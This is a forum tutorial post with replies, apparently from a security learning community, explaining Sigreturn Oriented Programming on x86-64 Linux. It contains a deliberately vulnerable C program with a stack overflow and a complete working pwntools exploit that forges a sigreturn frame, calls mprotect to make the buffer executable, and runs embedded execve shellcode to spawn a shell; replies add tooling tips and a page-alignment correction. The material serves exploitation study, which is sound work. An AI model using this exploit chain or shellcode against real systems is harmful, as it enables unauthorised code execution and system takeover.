SROP | Signals, you say?

Sigreturn Oriented Programming

In the name of Allah, the most beneficent, the most merciful.


  • Hello everyone to a new boring article, after we took a small look on normal ROP stuff, I decided to write something more fun :smile:!
  • @_py is the one that started that idea! :wink:
  • for learning purposes :smiley:ā€¦
  • I hope you learn much!

###Whatā€™s so special about SROP?``

It needs only a small syscall; ret; gadget, and a way to set EAX to syscall number of sigreturn!

  • While you need much gadgets to ROP, 1 ~ 2 to SROP!
  • Sometimes, you need to combine both :smiley:ā€¦

###How can we SROP?``

  • We want to exploit the weakness that lies in UNIX systems, sigreturn()ā€¦
  • This function when called, restores all registers from stack, with no further checksā€¦
  • We know that the signal form looks like this:

Solving an x64 simple binary, the SROP way!

  • Suppose we have an overflow ( Nullbytes shouldnā€™t be removed ), allowing us to overwrite the saved RIPā€¦ and a little gadget that will allow us set RAX value to 15 :smile:ā€¦
  • We can simply set saved RIP to the gadget, and we build a fake signal frame, thatā€™ll allow us do ANYTHING WE WANT, SINCE WE WILL CONTROL ALL REGISTERS :wink:!
  • Letā€™s write a small binary that contains these ingredients :smiley:!
#include <stdio.h>
#include <stdlib.h>

void syscall_(){
       __asm__("syscall; ret;");
}

void set_rax(){
       __asm__("movl $0xf, %eax; ret;");
}

int main(){
       // ONLY SROP!
       char buff[100];
       printf("Buff @%p, can you SROP?\n", buff);
       read(0, buff, 5000);
       return 0;
}

Letā€™s start by controlling RIP!

  • We keep filling the stack until we get SIGSEGV, and we subtract one from it, leading to get the perfect padding! :slight_smile:

  • The padding to saved RIP is 120 :wink:, letā€™s check it!

Writing the exploit

  • We gained control over RIP, letā€™s start writing our exploit.py!
#!/usr/bin/python
from pwn import *

context.clear(arch="amd64")
c = process("./srop")
pad = 120

# EXPLOIT
payload = "A" * pad # FILL STACK TILL SAVED RIP
payload += "BBBB" # OVERWRITING SAVED RIP WITH BBBB

# SENDING
c.sendline(payload)

c.interactive()
  • pwntoolsā€¦ Always making our life easier :rofl:ā€¦
  • Because of pwntools, we wonā€™t write the whole chain ( you can write it if you want )! :laughing:
  • Letā€™s first collect, the useful gadgets for our attack!

# ENTRIES
syscall_ret = 0x40054a
mov_rax_15_ret = 0x400554
  • Also thereā€™s some kind of leak, the address of buff, is something we have!
  • Letā€™s write a small part to take that leak before sending the payload!
# LEAK
c.recvuntil("@0x")
leak = int(c.recvuntil(",")[:-1], 16)
print "Buff @ " + hex(leak)

  • All working good! :smiley:
  • Letā€™s now start editing the EXPLOIT part!
  • The plan iā€™m going to do, is to make the Buff address executable, and return to it!
  • To do so, iā€™m going to craft a signalframe that will be able to call mprotect on buff addressā€¦
  • We are going to test on an address, and try making it executable!
pause() # STOP TO ATTACH GDB
test = 0x601000 # TEST ADDRESS
# EXPLOIT
payload = "A" * pad # FILLING STACK TO SAVED RIP
payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
payload += p64(syscall_ret) # CALL SIGRETURN
# BUILD FAKE FRAME
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = test # SET RDI TO TEST ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME ON STACK
payload += str(frame)
payload += "AAAA" # WHERE IT GOING TO RETURN ( RSP )

Stack is going to look like this:

  • Letā€™s run the exploit and attach it!

  • Write ā€˜cā€™ in GDB to continue, and press enter in exploit.py tab to resume!
  • BEAAAAAAAAM, RIP in itā€™s right place, letā€™s check if the address has now RWX permissions!

  • RWX! letā€™s now take advantage of that and instead of test address, we are going to make buff address executable!
pause() # STOP TO ATTACH GDB
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # x86_64 EXECVE SHELLCODE
# EXPLOIT
payload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFF
payload = payload.ljust(pad, "A") # FILLING STACK TO SAVED RIP
payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
payload += p64(syscall_ret) # CALL SIGRETURN
# BUILD FAKE FRAME
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = leak # SET RDI TO BUFF ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME ON STACK
payload += str(frame)
payload += p64(leak) # RETURN2SHELLCODE
  • Letā€™s run our exploit! :blush:

  • We got our shell, we won :smile:!

Full exploit

#!/usr/bin/python
from pwn import *

context.clear(arch="amd64")
c = process("./srop")
pad = 120

# ENTRIES
syscall_ret = 0x40054a
mov_rax_15_ret = 0x400554

# LEAK
c.recvuntil("@0x")
leak = int(c.recvuntil(",")[:-1], 16)
print "Buff @ " + hex(leak)

pause() # STOP TO ATTACH GDB
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # x86_64 EXECVE SHELLCODE
# EXPLOIT
payload = shellcode # PLACING SHELLCODE IN BEGINNING OF BUFF
payload = payload.ljust(pad, "A") # FILLING STACK TO SAVED RIP
payload += p64(mov_rax_15_ret) # SET RAX TO SIGRETURN SYSCALL NUMBER
payload += p64(syscall_ret) # CALL SIGRETURN
# BUILD FAKE FRAME
frame = SigreturnFrame(kernel="amd64") # CREATING A SIGRETURN FRAME
frame.rax = 10 # SET RAX TO MPROTECT SYSCALL NUMBER
frame.rdi = leak # SET RDI TO BUFF ADDRESS
frame.rsi = 2000 # SET RSI TO SIZE
frame.rdx = 7 # SET RDX => RWX PERMISSION
frame.rsp = leak + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME, CAUSE WE STILL NEED TO CONTROL RIP AFTER!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME IN STACK
payload += str(frame)
payload += p64(leak) # RETURN2SHELLCODE

# SENDING
c.sendline(payload)

c.interactive()

Reference links:
PDF
ThisIsSecurity

Challenge on x86

  • To start your adventure in the SROP world, you should to start simple!
  • The target is, a simple x86 binary!

Proof that itā€™s working, and exploitable:

  • I made that binary just to help myself understand SROP better, and exploit it on my own :smiley:!

  • But now, itā€™s your turn, to exploit a such binary!

  • Good luck. Search much, and learn much! :wink:

~ exploit

30 Likes

do you like emojis ?:sunglasses:

2 Likes

Of course i do! :joy_cat:

1 Like

Nice write-up @exploit!

For those who donā€™t quite get the theory behind that technique, Iā€™d highly recommend reading the reference links.

TL;DR - When a signal occurs, the kernel ā€œpausesā€ the processā€™s execution in order to jump to a signal handler routine. In order to safely resume the execution after the handler, the context of that process is pushed/saved on the stack (registers, flags, instruction pointer, stack pointer etc). When the handler is finished, sigreturn() is being called which will restore the context of the process by popping the values off of the stack. Thatā€™s what is being exploited in that technique.

6 Likes

Thank you *_* ! :smiley:

Iā€™m gonna have to read this a few more times to fully digest. This is super good.

1 Like

Happy you liked it :smile:!

Done. Thanks for the challenge mate! @exploit requested not to release the exploit code yet so that more folks can give it a shot.

You can find the PoC here.

1 Like

Well done, and no problem *_*! :smiley:

3 Likes

awesome article @exploit. Iā€™m on this one with @fraq tho. Need to reread it a few times to fully grasp to potential here! :smiley:

1 Like

Thank you! :laughing:

awesome article :smiley:

1 Like

*_* Thank you! :smile:

Hey, pwntools developer here!

Hereā€™s some additional pro tips you may want to integrate into your blog

payload = str(foo)
payload += pack(bar)
payload += baz

Can be collapsed down into a single statement with the flat() function.

payload = flat(foo, bar, baz)

Integers are passed to pack, strings are untouched, and everything else gets __pack__() invoked on it.

Additionally, it looks like youā€™re aligning your payload to a specific boundary. There is another routine, fit(), which handles this automagically and makes the padding a valid cyclic() offset. This way, if you mess up offsets, you will have e.g. "faab" instead of "AAAA".

pad = cyclic_find("faab")
# 120

The way that this works with fit() would look like:

payload = fit({
    pad: "BBBB" # Overwriting saved RIP with BBBB
})

fit() just calls flat() on everything passed to it, so you can pass arrays of things to be set at a given offset.

payload = fit({
  0: shellcode,          # PLACING SHELLCODE IN BEGINNING OF BUFF
  pad: [mov_rax_15_ret,  # SET RAX TO SIGRETURN SYSCALL NUMBER
        syscall_ret,     # CALL SIGRETURN
        frame,           # PLACE FAKE FRAME ON STACK
        leak]            # RETURN2SHELLCODE
})

For attaching with GDB, you might want to look at the Pwntools function gdb.attach() and gdb.debug()!

Finally, a small nit: You donā€™t have to specify kernel= for SigreturnFrame unless the target arch is i386. Since itā€™s amd64, this is unnecessary.

Thanks for the article, and thanks for using Pwntools!

14 Likes

Excellent write-up @exploit !

1 Like
  • @zachriggle Thank you so much for your tip! Iā€™ll surely use them in my next write-ups! Thank you for creating pwntools, such an amazing tool! :smile:
1 Like
  • @gtx Happy you liked it :smile:!

Great explanation!
One thing i noticed during a walktrough was that with int mprotect(void *addr, size_t len, int prot); you need to specify an multiple or the start of an page, otherwise it will not set the permissions correctly. (see man mprotect, EINVAL for moreā€¦)

So to calculate the beginning of a page simple calculate it the following way: addr & ~(page_size-1)
where addr is your pointer and page_size is 4096 most of the time.

2 Likes

Great article, thank you !
Can you re-upload the binary for the challenge please ?

1 Like

Just compile the source code with -m32. The challenge was to use the method on x86, therefore that should be enough

gcc source.c -m32 -o binary
1 Like